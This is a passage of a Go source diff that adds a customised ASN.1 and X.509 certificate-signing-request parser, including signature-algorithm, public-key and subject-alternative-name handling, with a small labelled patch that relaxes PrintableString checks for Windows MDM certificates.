+// isPrintable reports whether the given b is in the ASN.1 PrintableString set. +// If asterisk is allowAsterisk then '*' is also allowed, reflecting existing +// practice. If ampersand is allowAmpersand then '&' is allowed as well. +func isPrintable(b byte, asterisk asteriskFlag, ampersand ampersandFlag) bool { + return 'a' <= b && b <= 'z' || + 'A' <= b && b <= 'Z' || + '0' <= b && b <= '9' || + '\'' <= b && b <= ')' || + '+' <= b && b <= '/' || + b == ' ' || + b == ':' || + b == '=' || + b == '?' || + b == '!' || // Windows MDM Certificate Parsing Patch + b == 0 || // Windows MDM Certificate Parsing Patch + // This is technically not allowed in a PrintableString. + // However, x509 certificates with wildcard strings don't + // always use the correct string type so we permit it. + (bool(asterisk) && b == '*') || + // This is not technically allowed either. However, not + // only is it relatively common, but there are also a + // handful of CA certificates that contain it. At least + // one of which will not expire until 2027. + (bool(ampersand) && b == '&') +} + +// oidExtensionRequest is a PKCS #9 OBJECT IDENTIFIER that indicates requested +// extensions in a CSR. +var oidExtensionRequest = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 9, 14} + +type asteriskFlag bool +type ampersandFlag bool + +const ( + allowAsterisk asteriskFlag = true + rejectAsterisk asteriskFlag = false + + allowAmpersand ampersandFlag = true + rejectAmpersand ampersandFlag = false +) + +const ( + nameTypeEmail = 1 + nameTypeDNS = 2 + nameTypeURI = 6 + nameTypeIP = 7 +) + +var ( + oidNamedCurveP224 = asn1.ObjectIdentifier{1, 3, 132, 0, 33} + oidNamedCurveP256 = asn1.ObjectIdentifier{1, 2, 840, 10045, 3, 1, 7} + oidNamedCurveP384 = asn1.ObjectIdentifier{1, 3, 132, 0, 34} + oidNamedCurveP521 = asn1.ObjectIdentifier{1, 3, 132, 0, 35} +) + +var ( + oidExtensionSubjectAltName = []int{2, 5, 29, 17} +) + +var ( + oidPublicKeyRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 1} + oidPublicKeyDSA = asn1.ObjectIdentifier{1, 2, 840, 10040, 4, 1} + oidPublicKeyECDSA = asn1.ObjectIdentifier{1, 2, 840, 10045, 2, 1} + oidPublicKeyEd25519 = oidSignatureEd25519 +) + +var ( + oidSignatureMD2WithRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 2} + oidSignatureMD5WithRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 4} + oidSignatureSHA1WithRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 5} + oidSignatureSHA256WithRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 11} + oidSignatureSHA384WithRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 12} + oidSignatureSHA512WithRSA = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 13} + oidSignatureRSAPSS = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 10} + oidSignatureDSAWithSHA1 = asn1.ObjectIdentifier{1, 2, 840, 10040, 4, 3} + oidSignatureDSAWithSHA256 = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 3, 2} + oidSignatureECDSAWithSHA1 = asn1.ObjectIdentifier{1, 2, 840, 10045, 4, 1} + oidSignatureECDSAWithSHA256 = asn1.ObjectIdentifier{1, 2, 840, 10045, 4, 3, 2} + oidSignatureECDSAWithSHA384 = asn1.ObjectIdentifier{1, 2, 840, 10045, 4, 3, 3} + oidSignatureECDSAWithSHA512 = asn1.ObjectIdentifier{1, 2, 840, 10045, 4, 3, 4} + oidSignatureEd25519 = asn1.ObjectIdentifier{1, 3, 101, 112} + + oidSHA256 = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 2, 1} + oidSHA384 = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 2, 2} + oidSHA512 = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 2, 3} + + oidMGF1 = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 1, 8} + + // oidISOSignatureSHA1WithRSA means the same as oidSignatureSHA1WithRSA + // but it's specified by ISO. Microsoft's makecert.exe has been known + // to produce certificates with this OID. + oidISOSignatureSHA1WithRSA = asn1.ObjectIdentifier{1, 3, 14, 3, 2, 29} +) + +var signatureAlgorithmDetails = []struct { + algo x509.SignatureAlgorithm + name string + oid asn1.ObjectIdentifier + pubKeyAlgo x509.PublicKeyAlgorithm + hash crypto.Hash +}{ + {x509.MD2WithRSA, "MD2-RSA", oidSignatureMD2WithRSA, x509.RSA, crypto.Hash(0) /* no value for MD2 */}, + {x509.MD5WithRSA, "MD5-RSA", oidSignatureMD5WithRSA, x509.RSA, crypto.MD5}, + {x509.SHA1WithRSA, "SHA1-RSA", oidSignatureSHA1WithRSA, x509.RSA, crypto.SHA1}, + {x509.SHA1WithRSA, "SHA1-RSA", oidISOSignatureSHA1WithRSA, x509.RSA, crypto.SHA1}, + {x509.SHA256WithRSA, "SHA256-RSA", oidSignatureSHA256WithRSA, x509.RSA, crypto.SHA256}, + {x509.SHA384WithRSA, "SHA384-RSA", oidSignatureSHA384WithRSA, x509.RSA, crypto.SHA384}, + {x509.SHA512WithRSA, "SHA512-RSA", oidSignatureSHA512WithRSA, x509.RSA, crypto.SHA512}, + {x509.SHA256WithRSAPSS, "SHA256-RSAPSS", oidSignatureRSAPSS, x509.RSA, crypto.SHA256}, + {x509.SHA384WithRSAPSS, "SHA384-RSAPSS", oidSignatureRSAPSS, x509.RSA, crypto.SHA384}, + {x509.SHA512WithRSAPSS, "SHA512-RSAPSS", oidSignatureRSAPSS, x509.RSA, crypto.SHA512}, + {x509.DSAWithSHA1, "DSA-SHA1", oidSignatureDSAWithSHA1, x509.DSA, crypto.SHA1}, + {x509.DSAWithSHA256, "DSA-SHA256", oidSignatureDSAWithSHA256, x509.DSA, crypto.SHA256}, + {x509.ECDSAWithSHA1, "ECDSA-SHA1", oidSignatureECDSAWithSHA1, x509.ECDSA, crypto.SHA1}, + {x509.ECDSAWithSHA256, "ECDSA-SHA256", oidSignatureECDSAWithSHA256, x509.ECDSA, crypto.SHA256}, + {x509.ECDSAWithSHA384, "ECDSA-SHA384", oidSignatureECDSAWithSHA384, x509.ECDSA, crypto.SHA384}, + {x509.ECDSAWithSHA512, "ECDSA-SHA512", oidSignatureECDSAWithSHA512, x509.ECDSA, crypto.SHA512}, + {x509.PureEd25519, "Ed25519", oidSignatureEd25519, x509.Ed25519, crypto.Hash(0) /* no pre-hashing */}, +} + +var ( + bitStringType = reflect.TypeOf(asn1.BitString{}) + objectIdentifierType = reflect.TypeOf(asn1.ObjectIdentifier{}) + enumeratedType = reflect.TypeOf(asn1.Enumerated(0)) + flagType = reflect.TypeOf(asn1.Flag(false)) + timeType = reflect.TypeOf(time.Time{}) + rawValueType = reflect.TypeOf(asn1.RawValue{}) + rawContentsType = reflect.TypeOf(asn1.RawContent(nil)) + bigIntType = reflect.TypeOf(new(big.Int)) +) + +// ASN.1 class types represent the namespace of the tag. +const ( + classUniversal = 0 + classApplication = 1 + classContextSpecific = 2 + classPrivate = 3 +) + +type tagAndLength struct { + class, tag, length int + isCompound bool +} + +// pkcs1PublicKey reflects the ASN.1 structure of a PKCS #1 public key. +type pkcs1PublicKey struct { + n *big.Int + e int +} + +type publicKeyInfo struct { + Raw asn1.RawContent + Algorithm pkix.AlgorithmIdentifier + PublicKey asn1.BitString +} + +type tbsCertificateRequest struct { + Raw asn1.RawContent + Version int + Subject asn1.RawValue + PublicKey publicKeyInfo + RawAttributes []asn1.RawValue `asn1:"tag:0"` +} + +type certificateRequest struct { + Raw asn1.RawContent + TBSCSR tbsCertificateRequest + SignatureAlgorithm pkix.AlgorithmIdentifier + SignatureValue asn1.BitString +} + +// pssParameters reflects the parameters in an AlgorithmIdentifier that +// specifies RSA PSS. See RFC 3447, Appendix A.2.3. +type pssParameters struct { + // The following three fields are not marked as + // optional because the default values specify SHA-1, + // which is no longer suitable for use in signatures. + Hash pkix.AlgorithmIdentifier `asn1:"explicit,tag:0"` + MGF pkix.AlgorithmIdentifier `asn1:"explicit,tag:1"` + SaltLength int `asn1:"explicit,tag:2"` + TrailerField int `asn1:"optional,explicit,tag:3,default:1"` +} + +// fieldParameters is the parsed representation of tag string from a structure field. +type fieldParameters struct { + optional bool // true iff the field is OPTIONAL + explicit bool // true iff an EXPLICIT tag is in use. + application bool // true iff an APPLICATION tag is in use. + private bool // true iff a PRIVATE tag is in use. + defaultValue *int64 // a default value for INTEGER typed fields (maybe nil). + tag *int // the EXPLICIT or IMPLICIT tag (maybe nil). + stringType int // the string tag to use when marshaling. + timeType int // the time tag to use when marshaling. + set bool // true iff this should be encoded as a SET + omitEmpty bool // true iff this should be omitted if empty when marshaling. + + // Invariants: + // if explicit is set, tag is non-nil. +} + +// An invalidUnmarshalError describes an invalid argument passed to Unmarshal. +// (The argument to Unmarshal must be a non-nil pointer.) +type invalidUnmarshalError struct { + Type reflect.Type +} + +func (e *invalidUnmarshalError) Error() string { + if e.Type == nil { + return "asn1: Unmarshal recipient value is nil" + } + + if e.Type.Kind() != reflect.Pointer { + return "asn1: Unmarshal recipient value is non-pointer " + e.Type.String() + } + return "asn1: Unmarshal recipient value is nil " + e.Type.String() +} + +func getPublicKeyAlgorithmFromOID(oid asn1.ObjectIdentifier) x509.PublicKeyAlgorithm { + switch { + case oid.Equal(oidPublicKeyRSA): + return x509.RSA + case oid.Equal(oidPublicKeyDSA): + return x509.DSA + case oid.Equal(oidPublicKeyECDSA): + return x509.ECDSA + case oid.Equal(oidPublicKeyEd25519): + return x509.Ed25519 + } + return x509.UnknownPublicKeyAlgorithm +} + +func getSignatureAlgorithmFromAI(ai pkix.AlgorithmIdentifier) x509.SignatureAlgorithm { + if ai.Algorithm.Equal(oidSignatureEd25519) { + // RFC 8410, Section 3 + // > For all of the OIDs, the parameters MUST be absent. + if len(ai.Parameters.FullBytes) != 0 { + return x509.UnknownSignatureAlgorithm + } + } + + if !ai.Algorithm.Equal(oidSignatureRSAPSS) { + for _, details := range signatureAlgorithmDetails { + if ai.Algorithm.Equal(details.oid) { + return details.algo + } + } + return x509.UnknownSignatureAlgorithm + } + + // RSA PSS is special because it encodes important parameters + // in the Parameters. + + var params pssParameters + if _, err := nnmarshalASN1(ai.Parameters.FullBytes, ¶ms); err != nil { + return x509.UnknownSignatureAlgorithm + } + + var mgf1HashFunc pkix.AlgorithmIdentifier + if _, err := nnmarshalASN1(params.MGF.Parameters.FullBytes, &mgf1HashFunc); err != nil { + return x509.UnknownSignatureAlgorithm + } + + // PSS is greatly overburdened with options. This code forces them into + // three buckets by requiring that the MGF1 hash function always match the + // message hash function (as recommended in RFC 3447, Section 8.1), that the + // salt length matches the hash length, and that the trailer field has the + // default value. + if (len(params.Hash.Parameters.FullBytes) != 0 && !bytes.Equal(params.Hash.Parameters.FullBytes, asn1.NullBytes)) || + !params.MGF.Algorithm.Equal(oidMGF1) || + !mgf1HashFunc.Algorithm.Equal(params.Hash.Algorithm) || + (len(mgf1HashFunc.Parameters.FullBytes) != 0 && !bytes.Equal(mgf1HashFunc.Parameters.FullBytes, asn1.NullBytes)) || + params.TrailerField != 1 { + return x509.UnknownSignatureAlgorithm + } + + switch { + case params.Hash.Algorithm.Equal(oidSHA256) && params.SaltLength == 32: + return x509.SHA256WithRSAPSS + case params.Hash.Algorithm.Equal(oidSHA384) && params.SaltLength == 48: + return x509.SHA384WithRSAPSS + case params.Hash.Algorithm.Equal(oidSHA512) && params.SaltLength == 64: + return x509.SHA512WithRSAPSS + } + + return x509.UnknownSignatureAlgorithm +} + +func parseRawAttributes(rawAttributes []asn1.RawValue) []pkix.AttributeTypeAndValueSET { + var attributes []pkix.AttributeTypeAndValueSET + for _, rawAttr := range rawAttributes { + var attr pkix.AttributeTypeAndValueSET + rest, err := nnmarshalASN1(rawAttr.FullBytes, &attr) + // Ignore attributes that don't parse into pkix.AttributeTypeAndValueSET + // (i.e.: challengePassword or unstructuredName). + if err == nil && len(rest) == 0 { + attributes = append(attributes, attr) + } + } + return attributes +} + +func parseCertificateRequest(in *certificateRequest) (*x509.CertificateRequest, error) { + out := &x509.CertificateRequest{ + Raw: in.Raw, + RawTBSCertificateRequest: in.TBSCSR.Raw, + RawSubjectPublicKeyInfo: in.TBSCSR.PublicKey.Raw, + RawSubject: in.TBSCSR.Subject.FullBytes, + + Signature: in.SignatureValue.RightAlign(), + SignatureAlgorithm: getSignatureAlgorithmFromAI(in.SignatureAlgorithm), + + PublicKeyAlgorithm: getPublicKeyAlgorithmFromOID(in.TBSCSR.PublicKey.Algorithm.Algorithm), + + Version: in.TBSCSR.Version, + Attributes: parseRawAttributes(in.TBSCSR.RawAttributes), + } + + var err error + out.PublicKey, err = parsePublicKey(out.PublicKeyAlgorithm, &in.TBSCSR.PublicKey) + if err != nil { + return nil, err + } + + var subject pkix.RDNSequence + if rest, err := nnmarshalASN1(in.TBSCSR.Subject.FullBytes, &subject); err != nil { + return nil, err + } else if len(rest) != 0 { + return nil, errors.New("x509: trailing data after X.509 Subject") + } + + out.Subject.FillFromRDNSequence(&subject) + + if out.Extensions, err = parseCSRExtensions(in.TBSCSR.RawAttributes); err != nil { + return nil, err + } + + for _, extension := range out.Extensions { + switch { + case extension.Id.Equal(oidExtensionSubjectAltName): + out.DNSNames, out.EmailAddresses, out.IPAddresses, out.URIs, err = parseSANExtension(extension.Value) + if err != nil { + return nil, err + } + } + } + + return out, nil +} + +func parsePublicKey(algo x509.PublicKeyAlgorithm, keyData *publicKeyInfo) (any, error) { + der := cryptobyte.String(keyData.PublicKey.RightAlign()) + switch algo { + case x509.RSA: + // RSA public keys must have a NULL in the parameters. + // See RFC 3279, Section 2.3.1. + if !bytes.Equal(keyData.Algorithm.Parameters.FullBytes, asn1.NullBytes) { + return nil, errors.New("x509: RSA key missing NULL parameters") + } + + p := &pkcs1PublicKey{n: new(big.Int)} + if !der.ReadASN1(&der, cryptobyte_asn1.SEQUENCE) { + return nil, errors.New("x509: invalid RSA public key") + } + if !der.ReadASN1Integer(p.n) { + return nil, errors.New("x509: invalid RSA modulus") + } + if !der.ReadASN1Integer(&p.e) { + return nil, errors.New("x509: invalid RSA public exponent") + } + + if p.n.Sign() <= 0 { + return nil, errors.New("x509: RSA modulus is not a positive number") + } + if p.e <= 0 { + return nil, errors.New("x509: RSA public exponent is not a positive number") + } + + pub := &rsa.PublicKey{ + E: p.e, + N: p.n, + } + return pub, nil + case x509.ECDSA: + paramsDer := cryptobyte.String(keyData.Algorithm.Parameters.FullBytes) + namedCurveOID := new(asn1.ObjectIdentifier) + if !paramsDer.ReadASN1ObjectIdentifier(namedCurveOID) { + return nil, errors.New("x509: invalid ECDSA parameters") + } + namedCurve := namedCurveFromOID(*namedCurveOID) + if namedCurve == nil { + return nil, errors.New("x509: unsupported elliptic curve") + } + x, y := elliptic.Unmarshal(namedCurve, der) + if x == nil { + return nil, errors.New("x509: failed to unmarshal elliptic curve point") + } + pub := &ecdsa.PublicKey{ + Curve: namedCurve, + X: x, + Y: y, + } + return pub, nil + case x509.Ed25519: + // RFC 8410, Section 3 + // > For all of the OIDs, the parameters MUST be absent. + if len(keyData.Algorithm.Parameters.FullBytes) != 0 { + return nil, errors.New("x509: Ed25519 key encoded with illegal parameters") + } + if len(der) != ed25519.PublicKeySize { + return nil, errors.New("x509: wrong Ed25519 public key size") + } + return ed25519.PublicKey(der), nil + case x509.DSA: + y := new(big.Int) + if !der.ReadASN1Integer(y) { + return nil, errors.New("x509: invalid DSA public key") + } + pub := &dsa.PublicKey{ + Y: y, + Parameters: dsa.Parameters{ + P: new(big.Int), + Q: new(big.Int), + G: new(big.Int), + }, + } + paramsDer := cryptobyte.String(keyData.Algorithm.Parameters.FullBytes) + if !paramsDer.ReadASN1(¶msDer, cryptobyte_asn1.SEQUENCE) || + !paramsDer.ReadASN1Integer(pub.Parameters.P) || + !paramsDer.ReadASN1Integer(pub.Parameters.Q) || + !paramsDer.ReadASN1Integer(pub.Parameters.G) { + return nil, errors.New("x509: invalid DSA parameters") + } + if pub.Y.Sign() <= 0 || pub.Parameters.P.Sign() <= 0 || + pub.Parameters.Q.Sign() <= 0 || pub.Parameters.G.Sign() <= 0 { + return nil, errors.New("x509: zero or negative DSA parameter") + } + return pub, nil + default: + return nil, nil + } +} + +func namedCurveFromOID(oid asn1.ObjectIdentifier) elliptic.Curve { + switch { + case oid.Equal(oidNamedCurveP224): + return elliptic.P224() + case oid.Equal(oidNamedCurveP256): + return elliptic.P256() + case oid.Equal(oidNamedCurveP384): + return elliptic.P384() + case oid.Equal(oidNamedCurveP521): + return elliptic.P521() + } + return nil +} + +// parseCSRExtensions parses the attributes from a CSR and extracts any +// requested extensions. +func parseCSRExtensions(rawAttributes []asn1.RawValue) ([]pkix.Extension, error) { + // pkcs10Attribute reflects the Attribute structure from RFC 2986, Section 4.1. + type pkcs10Attribute struct { + Id asn1.ObjectIdentifier + Values []asn1.RawValue `asn1:"set"` + } + + var ret []pkix.Extension + seenExts := make(map[string]bool) + for _, rawAttr := range rawAttributes { + var attr pkcs10Attribute + if rest, err := nnmarshalASN1(rawAttr.FullBytes, &attr); err != nil || len(rest) != 0 || len(attr.Values) == 0 { + // Ignore attributes that don't parse. + continue + } + oidStr := attr.Id.String() + if seenExts[oidStr] { + return nil, errors.New("x509: certificate request contains duplicate extensions") + } + seenExts[oidStr] = true + + if !attr.Id.Equal(oidExtensionRequest) { + continue + } + + var extensions []pkix.Extension + if _, err := nnmarshalASN1(attr.Values[0].FullBytes, &extensions); err != nil { + return nil, err + } + requestedExts := make(map[string]bool) + for _, ext := range extensions { + oidStr := ext.Id.String() + if requestedExts[oidStr] { + return nil, errors.New("x509: certificate request contains duplicate requested extensions") + } + requestedExts[oidStr] = true + } + ret = append(ret, extensions...) + } + + return ret, nil +} + +func forEachSAN(der cryptobyte.String, callback func(tag int, data []byte) error) error { + if !der.ReadASN1(&der, cryptobyte_asn1.SEQUENCE) { + return errors.New("x509: invalid subject alternative names") + } + for !der.Empty() { + var san cryptobyte.String + var tag cryptobyte_asn1.Tag + if !der.ReadAnyASN1(&san, &tag) { + return errors.New("x509: invalid subject alternative name") + } + if err := callback(int(tag^0x80), san); err != nil { + return err + } + } + + return nil +} + +func parseSANExtension(der cryptobyte.String) (dnsNames, emailAddresses []string, ipAddresses []net.IP, uris []*url.URL, err error) { + err = forEachSAN(der, func(tag int, data []byte) error { + switch tag { + case nameTypeEmail: + email := string(data) + if err := isIA5String(email); err != nil { + return errors.New("x509: SAN rfc822Name is malformed") + } + emailAddresses = append(emailAddresses, email) + case nameTypeDNS: + name := string(data) + if err := isIA5String(name); err != nil { + return errors.New("x509: SAN dNSName is malformed") + } + dnsNames = append(dnsNames, string(name)) + case nameTypeURI: + uriStr := string(data) + if err := isIA5String(uriStr); err != nil { + return errors.New("x509: SAN uniformResourceIdentifier is malformed") + } + uri, err := url.Parse(uriStr) + if err != nil { + return fmt.Errorf("x509: cannot parse URI %q: %s", uriStr, err) + } + if len(uri.Host) > 0 { + if _, ok := domainToReverseLabels(uri.Host); !ok { + return fmt.Errorf("x509: cannot parse URI %q: invalid domain", uriStr) + } + } + uris = append(uris, uri) + case nameTypeIP: + switch len(data) { + case net.IPv4len, net.IPv6len: + ipAddresses = append(ipAddresses, data) + default: + return errors.New("x509: cannot parse IP address of length " + strconv.Itoa(len(data))) + } + } + + return nil + }) + + return +} + +func isIA5String(s string) error { + for _, r := range s { + // Per RFC5280 "IA5String is limited to the set of ASCII characters" + if r > unicode.MaxASCII { + return fmt.Errorf("x509: %q cannot be encoded as an IA5String", s) + } + } + + return nil +} + +// domainToReverseLabels converts a textual domain name like foo.example.com to +// the list of labels in reverse order, e.g. ["com", "example", "foo"]. +func domainToReverseLabels(domain string) (reverseLabels []string, ok bool) { + for len(domain) > 0 { + if i := strings.LastIndexByte(domain, '.'); i == -1 { + reverseLabels = append(reverseLabels, domain) + domain = "" + } else { + reverseLabels = append(reverseLabels, domain[i+1:]) + domain = domain[:i] + } + } + + if len(reverseLabels) > 0 && len(reverseLabels[0]) == 0 { + // An empty label at the end indicates an absolute value. + return nil, false + } + + for _, label := range reverseLabels { + if len(label) == 0 { + // Empty labels are otherwise invalid. + return nil, false + } + + for _, c := range label { + if c < 33 || c > 126 { + // Invalid character. + return nil, false + } + } + } + + return reverseLabels, true +} + +func nnmarshalASN1(b []byte, val any) (rest []byte, err error) { + return unmarshalWithParams(b, val, "") +} + +func unmarshalWithParams(b []byte, val any, params string) (rest []byte, err error) { + v := reflect.ValueOf(val) + if v.Kind() != reflect.Pointer || v.IsNil() { + return nil, &invalidUnmarshalError{reflect.TypeOf(val)} + } + offset, err := customParseField(v.Elem(), b, 0, customParseFieldParameters(params)) + if err != nil { + return nil, err + } + return b[offset:], nil +} + +// Given a tag string with the format specified in the package comment, +// parseFieldParameters will parse it into a fieldParameters structure, +// ignoring unknown parts of the string. +func customParseFieldParameters(str string) (ret fieldParameters) { + var part string + for len(str) > 0 { + part, str, _ = strings.Cut(str, ",") + switch { + case part == "optional": + ret.optional = true + case part == "explicit": + ret.explicit = true + if ret.tag == nil { + ret.tag = new(int) + } + case part == "generalized": + ret.timeType = asn1.TagGeneralizedTime + case part == "utc": + ret.timeType = asn1.TagUTCTime + case part == "ia5": + ret.stringType = asn1.TagIA5String + case part == "printable": + ret.stringType = asn1.TagPrintableString + case part == "numeric": + ret.stringType = asn1.TagNumericString + case part == "utf8": + ret.stringType = asn1.TagUTF8String + case strings.HasPrefix(part, "default:"): + i, err := strconv.ParseInt(part[8:], 10, 64) + if err == nil { + ret.defaultValue = new(int64) + *ret.defaultValue = i + } + case strings.HasPrefix(part, "tag:"): + i, err := strconv.Atoi(part[4:]) + if err == nil { + ret.tag = new(int) + *ret.tag = i + } + case part == "set": + ret.set = true + case part == "application": + ret.application = true + if ret.tag == nil { + ret.tag = new(int) + } + case part == "private": + ret.private = true + if ret.tag == nil { + ret.tag = new(int) + } + case part == "omitempty": + ret.omitEmpty = true + } + } + return +} + +// canHaveDefaultValue reports whether k is a Kind that we will set a default +// value for. (A signed integer, essentially.) +func canHaveDefaultValue(k reflect.Kind) bool { + switch k { + case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: + return true + } + + return false +} + +// setDefaultValue is used to install a default value, from a tag string, into +// a Value. It is successful if the field was optional, even if a default value +// wasn't provided or it failed to install it into the Value. +func setDefaultValue(v reflect.Value, params fieldParameters) (ok bool) { + if !params.optional { + return + } + ok = true + if params.defaultValue == nil { + return + } + if canHaveDefaultValue(v.Kind()) { + v.SetInt(*params.defaultValue) + } + return +} + +// parseField is the main parsing function. Given a byte slice and an offset +// into the array, it will try to parse a suitable ASN.1 value out and store it +// in the given Value. +func customParseField(v reflect.Value, bytes []byte, initOffset int, params fieldParameters) (offset int, err error) { + offset = initOffset + fieldType := v.Type() + + // If we have run out of data, it may be that there are optional elements at the end. + if offset == len(bytes) { + if !setDefaultValue(v, params) { + err = asn1.SyntaxError{Msg: "sequence truncated"} + } + return + } + + // Deal with the ANY type. + if ifaceType := fieldType; ifaceType.Kind() == reflect.Interface && ifaceType.NumMethod() == 0 { + var t tagAndLength + t, offset, err = parseTagAndLength(bytes, offset) + if err != nil { + return + } + if invalidLength(offset, t.length, len(bytes)) { + err = asn1.SyntaxError{Msg: "data truncated"} + return + } + var result any + if !t.isCompound && t.class == asn1.ClassUniversal { + innerBytes := bytes[offset : offset+t.length] + switch t.tag { + case asn1.TagPrintableString: + result, err = parsePrintableString(innerBytes) + case asn1.TagNumericString: + result, err = parseNumericString(innerBytes) + case asn1.TagIA5String: + result, err = parseIA5String(innerBytes) + case asn1.TagT61String: + result, err = parseT61String(innerBytes) + case asn1.TagUTF8String: + result, err = parseUTF8String(innerBytes) + case asn1.TagInteger: + result, err = parseInt64(innerBytes) + case asn1.TagBitString: + result, err = parseBitString(innerBytes) + case asn1.TagOID: + result, err = parseObjectIdentifier(innerBytes) + case asn1.TagUTCTime: + result, err = parseUTCTime(innerBytes) + case asn1.TagGeneralizedTime: + result, err = parseGeneralizedTime(innerBytes) + case asn1.TagOctetString: + result = innerBytes + case asn1.TagBMPString: + result, err = parseBMPString(innerBytes) + default: + // If we don't know how to handle the type, we just leave Value as nil. + } + } + offset += t.length + if err != nil { + return + } + if result != nil { + v.Set(reflect.ValueOf(result)) + } + return + } + + t, offset, err := parseTagAndLength(bytes, offset) + if err != nil { + return + } + if params.explicit { + expectedClass := asn1.ClassContextSpecific + if params.application { + expectedClass = asn1.ClassApplication + } + if offset == len(bytes) { + err = asn1.StructuralError{Msg: "explicit tag has no child"} + return + } + if t.class == expectedClass && t.tag == *params.tag && (t.length == 0 || t.isCompound) { + if fieldType == rawValueType { + // The inner element should not be parsed for RawValues. + } else if t.length > 0 { + t, offset, err = parseTagAndLength(bytes, offset) + if err != nil { + return + } + } else { + if fieldType != flagType { + err = asn1.StructuralError{Msg: "zero length explicit tag was not an asn1.Flag"} + return + } + v.SetBool(true) + return + } + } else { + // The tags didn't match, it might be an optional element. + ok := setDefaultValue(v, params) + if ok { + offset = initOffset + } else { + err = asn1.StructuralError{Msg: "explicitly tagged member didn't match"} + } + return + } + } + + matchAny, universalTag, compoundType, ok1 := getUniversalType(fieldType) + if !ok1 { + err = asn1.StructuralError{Msg: fmt.Sprintf("unknown Go type: %v", fieldType)} + return + } + + // Special case for strings: all the ASN.1 string types map to the Go + // type string. getUniversalType returns the tag for PrintableString + // when it sees a string, so if we see a different string type on the + // wire, we change the universal type to match. + if universalTag == asn1.TagPrintableString { + if t.class == asn1.ClassUniversal { + switch t.tag { + case asn1.TagIA5String, asn1.TagGeneralString, asn1.TagT61String, asn1.TagUTF8String, asn1.TagNumericString, asn1.TagBMPString: + universalTag = t.tag + } + } else if params.stringType != 0 { + universalTag = params.stringType + } + } + + // Special case for time: UTCTime and GeneralizedTime both map to the + // Go type time.Time. + if universalTag == asn1.TagUTCTime && t.tag == asn1.TagGeneralizedTime && t.class == asn1.ClassUniversal { + universalTag = asn1.TagGeneralizedTime + } + + if params.set { + universalTag = asn1.TagSet + } + + matchAnyClassAndTag := matchAny + expectedClass := asn1.ClassUniversal + expectedTag := universalTag + + if !params.explicit && params.tag != nil { + expectedClass = asn1.ClassContextSpecific + expectedTag = *params.tag + matchAnyClassAndTag = false + } + + if !params.explicit && params.application && params.tag != nil { + expectedClass = asn1.ClassApplication + expectedTag = *params.tag + matchAnyClassAndTag = false + } + + if !params.explicit && params.private && params.tag != nil { + expectedClass = asn1.ClassPrivate + expectedTag = *params.tag + matchAnyClassAndTag = false + } + + // We have unwrapped any explicit tagging at this point. + if !matchAnyClassAndTag && (t.class != expectedClass || t.tag != expectedTag) || + (!matchAny && t.isCompound != compoundType) { + // Tags don't match. Again, it could be an optional element. + ok := setDefaultValue(v, params) + if ok { + offset = initOffset + } else { + err = asn1.StructuralError{Msg: fmt.Sprintf("tags don't match (%d vs %+v) %+v %s @%d", expectedTag, t, params, fieldType.Name(), offset)} + } + return + } + if invalidLength(offset, t.length, len(bytes)) { + err = asn1.SyntaxError{Msg: "data truncated"} + return + } + innerBytes := bytes[offset : offset+t.length] + offset += t.length + + // We deal with the structures defined in this package first. + switch v := v.Addr().Interface().(type) { + case *asn1.RawValue: + *v = asn1.RawValue{Class: t.class, Tag: t.tag, IsCompound: t.isCompound, Bytes: innerBytes, FullBytes: bytes[initOffset:offset]} + return + case *asn1.ObjectIdentifier: + *v, err = parseObjectIdentifier(innerBytes) + return + case *asn1.BitString: + *v, err = parseBitString(innerBytes) + return + case *time.Time: + if universalTag == asn1.TagUTCTime { + *v, err = parseUTCTime(innerBytes) + return + } + *v, err = parseGeneralizedTime(innerBytes) + return + case *asn1.Enumerated: + parsedInt, err1 := parseInt32(innerBytes) + if err1 == nil { + *v = asn1.Enumerated(parsedInt) + } + err = err1 + return + case *asn1.Flag: + *v = true + return + case **big.Int: + parsedInt, err1 := parseBigInt(innerBytes) + if err1 == nil { + *v = parsedInt + } + err = err1 + return + } + switch val := v; val.Kind() { + case reflect.Bool: + parsedBool, err1 := parseBool(innerBytes) + if err1 == nil { + val.SetBool(parsedBool) + } + err = err1 + return + case reflect.Int, reflect.Int32, reflect.Int64: + if val.Type().Size() == 4 { + parsedInt, err1 := parseInt32(innerBytes) + if err1 == nil { + val.SetInt(int64(parsedInt)) + } + err = err1 + } else { + parsedInt, err1 := parseInt64(innerBytes) + if err1 == nil { + val.SetInt(parsedInt) + } + err = err1 + } + return + // TODO(dfc) Add support for the remaining integer types + case reflect.Struct: + structType := fieldType + + for i := 0; i < structType.NumField(); i++ { + if !structType.Field(i).IsExported() { + err = asn1.StructuralError{Msg: "struct contains unexported fields"} + return + } + } + + if structType.NumField() > 0 && + structType.Field(0).Type == rawContentsType { + bytes := bytes[initOffset:offset] + val.Field(0).Set(reflect.ValueOf(asn1.RawContent(bytes))) + } + + innerOffset := 0 + for i := 0; i < structType.NumField(); i++ { + field := structType.Field(i) + if i == 0 && field.Type == rawContentsType { + continue + } + innerOffset, err = customParseField(val.Field(i), innerBytes, innerOffset, customParseFieldParameters(field.Tag.Get("asn1"))) + if err != nil { + return + } + } + // We allow extra bytes at the end of the SEQUENCE because + // adding elements to the end has been used in X.509 as the + // version numbers have increased. + return + case reflect.Slice: + sliceType := fieldType + if sliceType.Elem().Kind() == reflect.Uint8 { + val.Set(reflect.MakeSlice(sliceType, len(innerBytes), len(innerBytes))) + reflect.Copy(val, reflect.ValueOf(innerBytes)) + return + } + newSlice, err1 := parseSequenceOf(innerBytes, sliceType, sliceType.Elem()) + if err1 == nil { + val.Set(newSlice) + } + err = err1 + return + case reflect.String: + var v string + switch universalTag { + case asn1.TagPrintableString: + v, err = 